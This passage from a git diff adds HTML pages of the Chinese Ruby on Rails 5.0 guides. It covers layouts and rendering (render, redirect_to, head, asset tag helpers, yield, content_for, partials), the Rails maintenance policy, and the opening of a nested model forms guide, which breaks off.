503:service_unavailable
504:gateway_timeout
505:http_version_not_supported
506:variant_also_negotiates
507:insufficient_storage
508:loop_detected
510:not_extended
511:network_authentication_required
+

如果渲染内容时指定了与内容无关的状态码(100-199、204、205 或 304),响应会弃之不用。

2.2.12.5 :formats 选项

Rails 使用请求中指定的格式(或者使用默认的 :html)。如果想改变格式,可以指定 :formats 选项。它的值是一个符号或一个数组。

+
+render formats: :xml
+render formats: [:json, :xml]
+
+
+
+
2.2.13 查找布局

查找布局时,Rails 首先查看 app/views/layouts 文件夹中是否有和控制器同名的文件。例如,渲染 PhotosController 中的动作会使用 app/views/layouts/photos.html.erb(或 app/views/layouts/photos.builder)。如果没找到针对控制器的布局,Rails 会使用 app/views/layouts/application.html.erbapp/views/layouts/application.builder。如果没有 .erb 布局,Rails 会使用 .builder 布局(如果文件存在)。Rails 还提供了多种方法用来指定单个控制器和动作使用的布局。

2.2.13.1 指定控制器所用的布局

在控制器中使用 layout 声明,可以覆盖默认使用的布局约定。例如:

+
+class ProductsController < ApplicationController
+  layout "inventory"
+  #...
+end
+
+
+
+

这么声明之后,ProductsController 渲染的所有视图都将使用 app/views/layouts/inventory.html.erb 文件作为布局。

要想指定整个应用使用的布局,可以在 ApplicationController 类中使用 layout 声明:

+
+class ApplicationController < ActionController::Base
+  layout "main"
+  #...
+end
+
+
+
+

这么声明之后,整个应用的视图都会使用 app/views/layouts/main.html.erb 文件作为布局。

2.2.13.2 在运行时选择布局

可以使用一个符号把布局延后到处理请求时再选择:

+
+class ProductsController < ApplicationController
+  layout :products_layout
+
+  def show
+    @product = Product.find(params[:id])
+  end
+
+  private
+    def products_layout
+      @current_user.special? ? "special" : "products"
+    end
+
+end
+
+
+
+

现在,如果当前用户是特殊用户,会使用一个特殊布局渲染产品视图。

还可使用行间方法,例如 Proc,决定使用哪个布局。如果使用 Proc,其代码块可以访问 controller 实例,这样就能根据当前请求决定使用哪个布局:

+
+class ProductsController < ApplicationController
+  layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
+end
+
+
+
+
2.2.13.3 根据条件设定布局

在控制器中指定布局时可以使用 :only:except 选项。这两个选项的值可以是一个方法名或者一个方法名数组,对应于控制器中的动作:

+
+class ProductsController < ApplicationController
+  layout "product", except: [:index, :rss]
+end
+
+
+
+

这么声明后,除了 rssindex 动作之外,其他动作都使用 product 布局渲染视图。

2.2.13.4 布局继承

布局声明按层级顺序向下顺延,专用布局比通用布局优先级高。例如:

+
    +
  • +

    application_controller.rb

    +
    +
    +class ApplicationController < ActionController::Base
    +  layout "main"
    +end
    +
    +
    +
    +
  • +
  • +

    articles_controller.rb

    +
    +
    +class ArticlesController < ApplicationController
    +end
    +
    +
    +
    +
  • +
  • +

    special_articles_controller.rb

    +
    +
    +class SpecialArticlesController < ArticlesController
    +  layout "special"
    +end
    +
    +
    +
    +
  • +
  • +

    old_articles_controller.rb

    +
    +
    +class OldArticlesController < SpecialArticlesController
    +  layout false
    +
    +  def show
    +    @article = Article.find(params[:id])
    +  end
    +
    +  def index
    +    @old_articles = Article.older
    +    render layout: "old"
    +  end
    +  # ...
    +end
    +
    +
    +
    +
  • +
+

在这个应用中:

+
    +
  • 一般情况下,视图使用 main 布局渲染;

  • +
  • ArticlesController#index 使用 main 布局;

  • +
  • SpecialArticlesController#index 使用 special 布局;

  • +
  • OldArticlesController#show 不用布局;

  • +
  • OldArticlesController#index 使用 old 布局;

  • +
+
2.2.13.5 模板继承

与布局的继承逻辑一样,如果在约定的路径上找不到模板或局部视图,控制器会在继承链中查找模板或局部视图。例如:

+
+# in app/controllers/application_controller
+class ApplicationController < ActionController::Base
+end
+
+# in app/controllers/admin_controller
+class AdminController < ApplicationController
+end
+
+# in app/controllers/admin/products_controller
+class Admin::ProductsController < AdminController
+  def index
+  end
+end
+
+
+
+

admin/products#index 动作的查找顺序为:

+
    +
  • app/views/admin/products/

  • +
  • app/views/admin/

  • +
  • app/views/application/

  • +
+

因此,app/views/application/ 最适合放置共用的局部视图,在 ERB 中可以像下面这样渲染:

+
+<%# app/views/admin/products/index.html.erb %>
+<%= render @products || "empty_list" %>
+
+<%# app/views/application/_empty_list.html.erb %>
+There are no items in this list <em>yet</em>.
+
+
+
+
2.2.14 避免双重渲染错误

多数 Rails 开发者迟早都会看到这个错误消息:Can only render or redirect once per action(一个动作只能渲染或重定向一次)。这个提示很烦人,也很容易修正。出现这个错误的原因是,没有理解 render 的工作原理。

例如,下面的代码会导致这个错误:

+
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show"
+  end
+  render action: "regular_show"
+end
+
+
+
+

如果 @book.special? 的求值结果是 true,Rails 开始渲染,把 @book 变量导入 special_show 视图中。但是,show 动作并不会就此停止运行,当 Rails 运行到动作的末尾时,会渲染 regular_show 视图,从而导致这个错误。解决的办法很简单,确保在一次代码运行路径中只调用一次 renderredirect_to 方法。有一个语句可以帮助解决这个问题,那就是 and return。下面的代码对上述代码做了修改:

+
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show" and return
+  end
+  render action: "regular_show"
+end
+
+
+
+

千万别用 && return 代替 and return,因为 Ruby 语言运算符优先级的关系,&& return 根本不起作用。

注意,ActionController 能检测到是否显式调用了 render 方法,所以下面这段代码不会出错:

+
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show"
+  end
+end
+
+
+
+

如果 @book.special? 的结果是 true,会渲染 special_show 视图,否则就渲染默认的 show 模板。

2.3 使用 redirect_to 方法

响应 HTTP 请求的另一种方法是使用 redirect_to。如前所述,render 告诉 Rails 构建响应时使用哪个视图(或其他静态资源)。redirect_to 做的事情则完全不同,它告诉浏览器向另一个 URL 发起新请求。例如,在应用中的任何地方使用下面的代码都可以重定向到 photos 控制器的 index 动作:

+
+redirect_to photos_url
+
+
+
+

你可以使用 redirect_back 把用户带回他们之前所在的页面。前一个页面的地址从 HTTP_REFERER 首部中获取,浏览器不一定会设定,因此必须提供 fallback_location

+
+redirect_back(fallback_location: root_path)
+
+
+
+
2.3.1 设置不同的重定向状态码

调用 redirect_to 方法时,Rails 把 HTTP 状态码设为 302,即临时重定向。如果想使用其他状态码,例如 301(永久重定向),可以设置 :status 选项:

+
+redirect_to photos_path, status: 301
+
+
+
+

render 方法的 :status 选项一样,redirect_to 方法的 :status 选项同样可使用数字状态码或符号。

2.3.2 renderredirect_to 的区别

有些经验不足的开发者会认为 redirect_to 方法是一种 goto 命令,把代码从一处转到别处。这么理解是不对的。执行到 redirect_to 方法时,代码会停止运行,等待浏览器发起新请求。你需要告诉浏览器下一个请求是什么,并返回 302 状态码。

下面通过实例说明。

+
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    render action: "index"
+  end
+end
+
+
+
+

在这段代码中,如果 @book 变量的值为 nil,很可能会出问题。记住,render :action 不会执行目标动作中的任何代码,因此不会创建 index 视图所需的 @books 变量。修正方法之一是不渲染,而是重定向:

+
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    redirect_to action: :index
+  end
+end
+
+
+
+

这样修改之后,浏览器会向 index 页面发起新请求,执行 index 方法中的代码,因此一切都能正常运行。

这种方法唯有一个缺点:增加了浏览器的工作量。浏览器通过 /books/1show 动作发起请求,控制器做了查询,但没有找到对应的图书,所以返回 302 重定向响应,告诉浏览器访问 /books/。浏览器收到指令后,向控制器的 index 动作发起新请求,控制器从数据库中取出所有图书,渲染 index 模板,将其返回给浏览器,在屏幕上显示所有图书。

在小型应用中,额外增加的时间不是个问题。如果响应时间很重要,这个问题就值得关注了。下面举个虚拟的例子演示如何解决这个问题:

+
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    @books = Book.all
+    flash.now[:alert] = "Your book was not found"
+    render "index"
+  end
+end
+
+
+
+

在这段代码中,如果指定 ID 的图书不存在,会从模型中取出所有图书,赋值给 @books 实例变量,然后直接渲染 index.html.erb 模板,并显示一个闪现消息,告知用户出了什么问题。

2.4 使用 head 构建只有首部的响应

head 方法只把首部发送给浏览器,它的参数是 HTTP 状态码数字或符号形式(参见前面的表格),选项是一个散列,指定首部的名称和对应的值。例如,可以只返回一个错误首部:

+
+head :bad_request
+
+
+
+

生成的首部如下:

+
+HTTP/1.1 400 Bad Request
+Connection: close
+Date: Sun, 24 Jan 2010 12:15:53 GMT
+Transfer-Encoding: chunked
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.013483
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+
+
+

也可以使用其他 HTTP 首部提供额外信息:

+
+head :created, location: photo_path(@photo)
+
+
+
+

生成的首部如下:

+
+HTTP/1.1 201 Created
+Connection: close
+Date: Sun, 24 Jan 2010 12:16:44 GMT
+Transfer-Encoding: chunked
+Location: /photos/1
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.083496
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+
+
+

3 布局的结构

Rails 渲染响应的视图时,会把视图和当前模板结合起来。查找当前模板的方法前文已经介绍过。在布局中可以使用三种工具把各部分合在一起组成完整的响应:

+
    +
  • 静态资源标签

  • +
  • yieldcontent_for

  • +
  • 局部视图

  • +
+

3.1 静态资源标签辅助方法

静态资源辅助方法用于生成链接到订阅源、JavaScript、样式表、图像、视频和音频的 HTML 代码。Rails 提供了六个静态资源标签辅助方法:

+
    +
  • auto_discovery_link_tag

  • +
  • javascript_include_tag

  • +
  • stylesheet_link_tag

  • +
  • image_tag

  • +
  • video_tag

  • +
  • audio_tag

  • +
+

这六个辅助方法可以在布局或视图中使用,不过 auto_discovery_link_tagjavascript_include_tagstylesheet_link_tag 最常出现在布局的 <head> 元素中。

静态资源标签辅助方法不会检查指定位置是否存在静态资源,而是假定你知道自己在做什么,它只负责生成对相应的链接。

auto_discovery_link_tag 辅助方法生成的 HTML,多数浏览器和订阅源阅读器都能从中自动识别 RSS 或 Atom 订阅源。这个方法的参数包括链接的类型(:rss:atom)、传递给 url_for 的散列选项,以及该标签使用的散列选项:

+
+<%= auto_discovery_link_tag(:rss, {action: "feed"},
+  {title: "RSS Feed"}) %>
+
+
+
+

auto_discovery_link_tag 的标签选项有三个:

+
    +
  • :rel:指定链接中 rel 属性的值,默认值为 "alternate"

  • +
  • :type:指定 MIME 类型,不过 Rails 会自动生成正确的 MIME 类型;

  • +
  • :title:指定链接的标题,默认值是 :type 参数值的全大写形式,例如 "ATOM""RSS"

  • +
+
3.1.2 使用 javascript_include_tag 链接 JavaScript 文件

javascript_include_tag 辅助方法为指定的各个资源生成 HTML script 标签。

如果启用了 Asset Pipeline,这个辅助方法生成的链接指向 /assets/javascripts/ 而不是 Rails 旧版中使用的 public/javascripts。链接的地址由 Asset Pipeline 伺服。

Rails 应用或 Rails 引擎中的 JavaScript 文件可存放在三个位置:app/assetslib/assetsvendor/assets。详细说明参见 Asset Organization section in the Asset Pipeline Guide

文件的地址可使用相对文档根目录的完整路径或 URL。例如,如果想链接到 app/assetslib/assetsvendor/assets 文件夹中名为 javascripts 的子文件夹中的文件,可以这么做:

+
+<%= javascript_include_tag "main" %>
+
+
+
+

Rails 生成的 script 标签如下:

+
+<script src='http://github.com/assets/main.js'></script>
+
+
+
+

对这个静态资源的请求由 Sprockets gem 伺服。

若想同时引入多个文件,例如 app/assets/javascripts/main.jsapp/assets/javascripts/columns.js,可以这么做:

+
+<%= javascript_include_tag "main", "columns" %>
+
+
+
+

引入 app/assets/javascripts/main.jsapp/assets/javascripts/photos/columns.js 的方式如下:

+
+<%= javascript_include_tag "main", "/photos/columns" %>
+
+
+
+

引入 http://example.com/main.js 的方式如下:

+
+<%= javascript_include_tag "http://example.com/main.js" %>
+
+
+
+

stylesheet_link_tag 辅助方法为指定的各个资源生成 HTML <link> 标签。

如果启用了 Asset Pipeline,这个辅助方法生成的链接指向 /assets/stylesheets/,由 Sprockets gem 伺服。样式表文件可以存放在三个位置:app/assetslib/assetsvendor/assets

文件的地址可使用相对文档根目录的完整路径或 URL。例如,如果想链接到 app/assetslib/assetsvendor/assets 文件夹中名为 stylesheets 的子文件夹中的文件,可以这么做:

+
+<%= stylesheet_link_tag "main" %>
+
+
+
+

引入 app/assets/stylesheets/main.cssapp/assets/stylesheets/columns.css 的方式如下:

+
+<%= stylesheet_link_tag "main", "columns" %>
+
+
+
+

引入 app/assets/stylesheets/main.cssapp/assets/stylesheets/photos/columns.css 的方式如下:

+
+<%= stylesheet_link_tag "main", "photos/columns" %>
+
+
+
+

引入 http://example.com/main.css 的方式如下:

+
+<%= stylesheet_link_tag "http://example.com/main.css" %>
+
+
+
+

默认情况下,stylesheet_link_tag 创建的链接属性为 media="screen" rel="stylesheet"。指定相应的选项(:media:rel)可以覆盖默认值:

+
+<%= stylesheet_link_tag "main_print", media: "print" %>
+
+
+
+
3.1.4 使用 image_tag 链接图像

image_tag 辅助方法为指定的文件生成 HTML <img /> 标签。默认情况下,从 public/images 文件夹中加载文件。

注意,必须指定图像的扩展名。

+
+<%= image_tag "header.png" %>
+
+
+
+

还可以指定图像的路径:

+
+<%= image_tag "icons/delete.gif" %>
+
+
+
+

可以使用散列指定额外的 HTML 属性:

+
+<%= image_tag "icons/delete.gif", {height: 45} %>
+
+
+
+

可以指定一个替代文本,在关闭图像的浏览器中显示。如果没指定替代文本,Rails 会使用图像的文件名,去掉扩展名,并把首字母变成大写。例如,下面两个标签会生成相同的代码:

+
+<%= image_tag "home.gif" %>
+<%= image_tag "home.gif", alt: "Home" %>
+
+
+
+

还可指定图像的尺寸,格式为“{width}x{height}”:

+
+<%= image_tag "home.gif", size: "50x20" %>
+
+
+
+

除了上述特殊的选项外,还可在最后一个参数中指定标准的 HTML 属性,例如 :class:id:name

+
+<%= image_tag "home.gif", alt: "Go Home",
+                          id: "HomeImage",
+                          class: "nav_bar" %>
+
+
+
+
3.1.5 使用 video_tag 链接视频

video_tag 辅助方法为指定的文件生成 HTML5 <video> 标签。默认情况下,从 public/videos 文件夹中加载视频文件。

+
+<%= video_tag "movie.ogg" %>
+
+
+
+

生成的 HTML 如下:

+
+<video src="http://github.com/videos/movie.ogg" />
+
+
+
+

image_tag 类似,视频的地址可以使用绝对路径,或者相对 public/videos 文件夹的路径。而且也可以指定 size: "{width}x{height}" 选项。在 video_tag 的末尾还可指定其他 HTML 属性,例如 idclass 等。

video_tag 方法还可使用散列指定 <video> 标签的所有属性,包括:

+
    +
  • poster: "image_name.png":指定视频播放前在视频的位置显示的图片;

  • +
  • autoplay: true:页面加载后开始播放视频;

  • +
  • loop: true:视频播完后再次播放;

  • +
  • controls: true:为用户显示浏览器提供的控件,用于和视频交互;

  • +
  • autobuffer: true:页面加载时预先加载视频文件;

  • +
+

把数组传递给 video_tag 方法可以指定多个视频:

+
+<%= video_tag ["trailer.ogg", "movie.ogg"] %>
+
+
+
+

生成的 HTML 如下:

+
+<video>
+  <source src="http://github.com/trailer.ogg" />
+  <source src="http://github.com/movie.ogg" />
+</video>
+
+
+
+
3.1.6 使用 audio_tag 链接音频

audio_tag 辅助方法为指定的文件生成 HTML5 <audio> 标签。默认情况下,从 public/audio 文件夹中加载音频文件。

+
+<%= audio_tag "music.mp3" %>
+
+
+
+

还可指定音频文件的路径:

+
+<%= audio_tag "music/first_song.mp3" %>
+
+
+
+

还可使用散列指定其他属性,例如 :id:class 等。

video_tag 类似,audio_tag 也有特殊的选项:

+
    +
  • autoplay: true:页面加载后开始播放音频;

  • +
  • controls: true:为用户显示浏览器提供的控件,用于和音频交互;

  • +
  • autobuffer: true:页面加载时预先加载音频文件;

  • +
+

3.2 理解 yield +

在布局中,yield 标明一个区域,渲染的视图会插入这里。最简单的情况是只有一个 yield,此时渲染的整个视图都会插入这个区域:

+
+<html>
+  <head>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+
+
+
+

布局中可以标明多个区域:

+
+<html>
+  <head>
+  <%= yield :head %>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+
+
+
+

视图的主体会插入未命名的 yield 区域。若想在具名 yield 区域插入内容,要使用 content_for 方法。

3.3 使用 content_for 方法

content_for 方法在布局的具名 yield 区域插入内容。例如,下面的视图会在前一节的布局中插入内容:

+
+<% content_for :head do %>
+  <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+
+
+
+

套入布局后生成的 HTML 如下:

+
+<html>
+  <head>
+  <title>A simple page</title>
+  </head>
+  <body>
+  <p>Hello, Rails!</p>
+  </body>
+</html>
+
+
+
+

如果布局中不同的区域需要不同的内容,例如侧边栏和页脚,就可以使用 content_for 方法。content_for 方法还可以在通用布局中引入特定页面使用的 JavaScript 或 CSS 文件。

3.4 使用局部视图

局部视图把渲染过程分为多个管理方便的片段,把响应的某个特殊部分移入单独的文件。

3.4.1 具名局部视图

在视图中渲染局部视图可以使用 render 方法:

+
+<%= render "menu" %>
+
+
+
+

渲染这个视图时,会渲染名为 _menu.html.erb 的文件。注意文件名开头有个下划线。局部视图的文件名以下划线开头,以便和普通视图区分开,不过引用时无需加入下划线。即便从其他文件夹中引入局部视图,规则也是一样:

+
+<%= render "shared/menu" %>
+
+
+
+

这行代码会引入 app/views/shared/_menu.html.erb 这个局部视图。

3.4.2 使用局部视图简化视图

局部视图的一种用法是作为子程序(subroutine),把细节提取出来,以便更好地理解整个视图的作用。例如,有如下的视图:

+
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render "shared/footer" %>
+
+
+
+

这里,局部视图 _ad_banner.html.erb_footer.html.erb 可以包含应用多个页面共用的内容。在编写某个页面的视图时,无需关心这些局部视图中的详细内容。

如前几节所述,yield 是保持布局简洁的利器。要知道,那是纯 Ruby,几乎可以在任何地方使用。例如,可以使用它去除相似资源的表单布局定义:

+
    +
  • +

    users/index.html.erb

    +
    +
    +<%= render "shared/search_filters", search: @q do |f| %>
    +  <p>
    +    Name contains: <%= f.text_field :name_contains %>
    +  </p>
    +<% end %>
    +
    +
    +
    +
  • +
  • +

    roles/index.html.erb

    +
    +
    +<%= render "shared/search_filters", search: @q do |f| %>
    +  <p>
    +    Title contains: <%= f.text_field :title_contains %>
    +  </p>
    +<% end %>
    +
    +
    +
    +
  • +
  • +

    shared/_search_filters.html.erb

    +
    +
    +<%= form_for(@q) do |f| %>
    +  <h1>Search form:</h1>
    +  <fieldset>
    +    <%= yield f %>
    +  </fieldset>
    +  <p>
    +    <%= f.submit "Search" %>
    +  </p>
    +<% end %>
    +
    +
    +
    +
  • +
+

应用所有页面共用的内容,可以直接在布局中使用局部视图渲染。

3.4.3 局部布局

与视图可以使用布局一样,局部视图也可使用自己的布局文件。例如,可以这样调用局部视图:

+
+<%= render partial: "link_area", layout: "graybar" %>
+
+
+
+

这行代码会使用 _graybar.html.erb 布局渲染局部视图 _link_area.html.erb。注意,局部布局的名称也以下划线开头,而且与局部视图保存在同一个文件夹中(不在 layouts 文件夹中)。

还要注意,指定其他选项时,例如 :layout,必须明确地使用 :partial 选项。

3.4.4 传递局部变量

局部变量可以传入局部视图,这么做可以把局部视图变得更强大、更灵活。例如,可以使用这种方法去除新建和编辑页面的重复代码,但仍然保有不同的内容:

+
    +
  • +

    new.html.erb

    +
    +
    +<h1>New zone</h1>
    +<%= render partial: "form", locals: {zone: @zone} %>
    +
    +
    +
    +
  • +
  • +

    edit.html.erb

    +
    +
    +<h1>Editing zone</h1>
    +<%= render partial: "form", locals: {zone: @zone} %>
    +
    +
    +
    +
  • +
  • +

    _form.html.erb

    +
    +
    +<%= form_for(zone) do |f| %>
    +  <p>
    +    <b>Zone name</b><br>
    +    <%= f.text_field :name %>
    +  </p>
    +  <p>
    +    <%= f.submit %>
    +  </p>
    +<% end %>
    +
    +
    +
    +
  • +
+

虽然两个视图使用同一个局部视图,但 Action View 的 submit 辅助方法为 new 动作生成的提交按钮名为“Create Zone”,而为 edit 动作生成的提交按钮名为“Update Zone”。

把局部变量传入局部视图的方式是使用 local_assigns

+
    +
  • +

    index.html.erb

    +
    +
    +<%= render user.articles %>
    +
    +
    +
    +
  • +
  • +

    show.html.erb

    +
    +
    +<%= render article, full: true %>
    +
    +
    +
    +
  • +
  • +

    _articles.html.erb

    +
    +
    +<h2><%= article.title %></h2>
    +
    +<% if local_assigns[:full] %>
    +  <%= simple_format article.body %>
    +<% else %>
    +  <%= truncate article.body %>
    +<% end %>
    +
    +
    +
    +
  • +
+

这样无需声明全部局部变量。

每个局部视图中都有个和局部视图同名的局部变量(去掉前面的下划线)。通过 object 选项可以把对象传给这个变量:

+
+<%= render partial: "customer", object: @new_customer %>
+
+
+
+

customer 局部视图中,变量 customer 的值为父级视图中的 @new_customer

如果要在局部视图中渲染模型实例,可以使用简写句法:

+
+<%= render @customer %>
+
+
+
+

假设实例变量 @customer 的值为 Customer 模型的实例,上述代码会渲染 _customer.html.erb,其中局部变量 customer 的值为父级视图中 @customer 实例变量的值。

3.4.5 渲染集合

渲染集合时使用局部视图特别方便。通过 :collection 选项把集合传给局部视图时,会把集合中每个元素套入局部视图渲染:

+
    +
  • +

    index.html.erb

    +
    +
    +<h1>Products</h1>
    +<%= render partial: "product", collection: @products %>
    +
    +
    +
    +
  • +
  • +

    _product.html.erb

    +
    +
    +<p>Product Name: <%= product.name %></p>
    +
    +
    +
    +
  • +
+

传入复数形式的集合时,在局部视图中可以使用和局部视图同名的变量引用集合中的成员。在上面的代码中,局部视图是 _product,在其中可以使用 product 引用渲染的实例。

渲染集合还有个简写形式。假设 @productsproduct 实例集合,在 index.html.erb 中可以直接写成下面的形式,得到的结果是一样的:

+
+<h1>Products</h1>
+<%= render @products %>
+
+
+
+

Rails 根据集合中各元素的模型名决定使用哪个局部视图。其实,集合中的元素可以来自不同的模型,Rails 会选择正确的局部视图进行渲染。

+
    +
  • +

    index.html.erb

    +
    +
    +<h1>Contacts</h1>
    +<%= render [customer1, employee1, customer2, employee2] %>
    +
    +
    +
    +
  • +
  • +

    customers/_customer.html.erb

    +
    +
    +<p>Customer: <%= customer.name %></p>
    +
    +
    +
    +
  • +
  • +

    employees/_employee.html.erb

    +
    +
    +<p>Employee: <%= employee.name %></p>
    +
    +
    +
    +
  • +
+

在上面几段代码中,Rails 会根据集合中各成员所属的模型选择正确的局部视图。

如果集合为空,render 方法返回 nil,所以最好提供替代内容。

+
+<h1>Products</h1>
+<%= render(@products) || "There are no products available." %>
+
+
+
+
3.4.6 局部变量

要在局部视图中自定义局部变量的名字,调用局部视图时通过 :as 选项指定:

+
+<%= render partial: "product", collection: @products, as: :item %>
+
+
+
+

这样修改之后,在局部视图中可以使用局部变量 item 访问 @products 集合中的实例。

使用 locals: {} 选项可以把任意局部变量传入局部视图:

+
+<%= render partial: "product", collection: @products,
+           as: :item, locals: {title: "Products Page"} %>
+
+
+
+

在局部视图中可以使用局部变量 title,其值为 "Products Page"

在局部视图中还可使用计数器变量,变量名是在集合成员名后加上 _counter。例如,渲染 @products 时,在局部视图中可以使用 product_counter 表示局部视图渲染了多少次。但是不能和 as: :value 选项一起使用。

在使用主局部视图渲染两个实例中间还可使用 :spacer_template 选项指定第二个局部视图。

3.4.7 间隔模板
+
+<%= render partial: @products, spacer_template: "product_ruler" %>
+
+
+
+

Rails 会在两次渲染 _product 局部视图之间渲染 _product_ruler 局部视图(不传入任何数据)。

3.4.8 集合局部布局

渲染集合时也可使用 :layout 选项:

+
+<%= render partial: "product", collection: @products, layout: "special_layout" %>
+
+
+
+

使用局部视图渲染集合中的各个元素时会套用指定的模板。与局部视图一样,当前渲染的对象以及 object_counter 变量也可在布局中使用。

3.5 使用嵌套布局

在应用中有时需要使用不同于常规布局的布局渲染特定的控制器。此时无需复制主视图进行编辑,可以使用嵌套布局(有时也叫子模板)。下面举个例子。

假设 ApplicationController 布局如下:

+
    +
  • +

    app/views/layouts/application.html.erb

    +
    +
    +<html>
    +<head>
    +  <title><%= @page_title or "Page Title" %></title>
    +  <%= stylesheet_link_tag "layout" %>
    +  <style><%= yield :stylesheets %></style>
    +</head>
    +<body>
    +  <div id="top_menu">Top menu items here</div>
    +  <div id="menu">Menu items here</div>
    +  <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
    +</body>
    +</html>
    +
    +
    +
    +
  • +
+

NewsController 生成的页面中,我们想隐藏顶部目录,在右侧添加一个目录:

+
    +
  • +

    app/views/layouts/news.html.erb

    +
    +
    +<% content_for :stylesheets do %>
    +  #top_menu {display: none}
    +  #right_menu {float: right; background-color: yellow; color: black}
    +<% end %>
    +<% content_for :content do %>
    +  <div id="right_menu">Right menu items here</div>
    +  <%= content_for?(:news_content) ? yield(:news_content) : yield %>
    +<% end %>
    +<%= render template: "layouts/application" %>
    +
    +
    +
    +
  • +
+

就这么简单。News 视图会使用 news.html.erb 布局,隐藏顶部目录,在 <div id="content"> 中添加一个右侧目录。

使用子模板方式实现这种效果有很多方法。注意,布局的嵌套层级没有限制。使用 render template: 'layouts/news' 可以指定使用一个新布局。如果确定,可以不为 News 控制器创建子模板,直接把 content_for?(:news_content) ? yield(:news_content) : yield 替换成 yield 即可。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/maintenance_policy.html b/v5.0/maintenance_policy.html new file mode 100644 index 0000000..8dcf3ce --- /dev/null +++ b/v5.0/maintenance_policy.html @@ -0,0 +1,246 @@ + + + + + + + +Ruby on Rails 的维护方针 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 的维护方针

对 Rails 框架的支持分为四种:新功能、缺陷修正、安全问题和严重安全问题。各自的处理方式如下,所有版本号都使用 X.Y.Z 格式。

Rails 遵照语义版本更替版本号:

补丁版 Z
+只修正缺陷,不改变 API,也不新增功能。安全修正可能例外。

小版本 Y
+新增功能,可能改变 API(相当于语义版本中的大版本)。重大改变在之前的小版本或大版本中带有弃用提示。

大版本 X
+新增功能,可能改变 API。Rails 的大版本和小版本之间的区别是对重大改变的处理方式不同,有时也有例外。

+ + + +
+
+ +
+
+
+

1 新功能

新功能只添加到 master 分支,不会包含在补丁版中。

2 缺陷修正

只有最新的发布系列接收缺陷修正。如果修正的缺陷足够多,值得发布新的 gem,从这个分支中获取代码。

如果核心团队中有人同意支持更多的发布系列,也会包含在支持的系列中——这是特殊情况。

目前支持的系列:5.0.Z4.2.Z

3 安全问题

发现安全问题时,当前发布系列和下一个最新版接收补丁和新版本。

新版代码从最近的发布版中获取,应用安全补丁之后发布。然后把安全补丁应用到 x-y-stable 分支。例如,1.2.3 安全发布在 1.2.2 版的基础上得来,然后再把安全补丁应用到 1-2-stable 分支。因此,如果你使用 Rails 的最新版,很容易升级安全修正版。

目前支持的系列:5.0.Z4.2.Z

4 严重安全问题

发现严重安全问题时,会发布新版,最近的主发布系列也会接收补丁和新版。安全问题由核心团队甄别分类。

目前支持的系列:5.0.Z4.2.Z

5 不支持的发布系列

如果一个发布系列不再得到支持,你要自己负责处理缺陷和安全问题。我们可能会逆向移植,把修正代码发布到 Git 仓库中,但是不会发布新版本。如果你不想自己维护,应该升级到我们支持的版本。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/nested_model_forms.html b/v5.0/nested_model_forms.html new file mode 100644 index 0000000..23accb7 --- /dev/null +++ b/v5.0/nested_model_forms.html @@ -0,0 +1,421 @@ + + + + + + + +Rails Nested Model Forms — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails Nested Model Forms

Creating a form for a model and its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms and the required CRUD operations to create, update, and destroy associations.

After reading this guide, you will know:

+
    +
  • do stuff.
  • +
+ + +
+

Chapters

+
    +
  1. +Model setup + + +
  2. +
  3. +Views + + +
  4. +
+ +
+ +
+
+ +
+
+
+

This guide assumes the user knows how to use the Rails form helpers in general. Also, it's not an API reference. For a complete reference please visit the Rails API documentation.

1 Model setup

To be able to use the nested model functionality in your forms, the model will need to support some basic operations.

First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The fields_for form helper will look for this method to decide whether or not a nested model form should be built.

If the associated object is an array, a form builder will be yielded for each object, else only a single form builder will be yielded.

